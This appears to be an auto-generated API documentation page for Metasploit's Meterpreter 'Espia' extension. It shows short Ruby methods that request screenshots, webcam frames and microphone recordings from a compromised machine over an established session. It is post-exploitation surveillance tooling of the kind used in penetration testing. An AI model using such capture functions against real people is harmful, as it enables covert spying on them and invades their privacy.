Class: Rex::Post::Meterpreter::Extensions::Espia::Espia

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/espia/espia.rb

Overview

This meterpreter extensions interface that is capable grab webcam frame and recor mic audio

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Espia

Returns a new instance of Espia.



20
21
22
23
24
25
26
27
28
29
30
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 20

def initialize(client)
	super(client, 'espia')

	client.register_extension_aliases(
		[
			{ 
				'name' => 'espia',
				'ext'  => self
			},
		])
end

Instance Method Details

#espia_audio_get_dev_audio(rsecs) ⇒ Object



39
40
41
42
43
44
45
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 39

def espia_audio_get_dev_audio(rsecs)
	request = Packet.create_request('espia_audio_get_dev_audio')
	request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
	response = client.send_request(request)

	return true
end

#espia_image_get_dev_screenObject



47
48
49
50
51
52
53
54
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 47

def espia_image_get_dev_screen
	request  = Packet.create_request( 'espia_image_get_dev_screen' )    
	response = client.send_request( request )
	if( response.result == 0 )
		return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
	end
	return nil
end

#espia_video_get_dev_imageObject



32
33
34
35
36
37
# File 'lib/rex/post/meterpreter/extensions/espia/espia.rb', line 32

def espia_video_get_dev_image()
	request = Packet.create_request('espia_video_get_dev_image')
	response = client.send_request(request)
	
	return true
end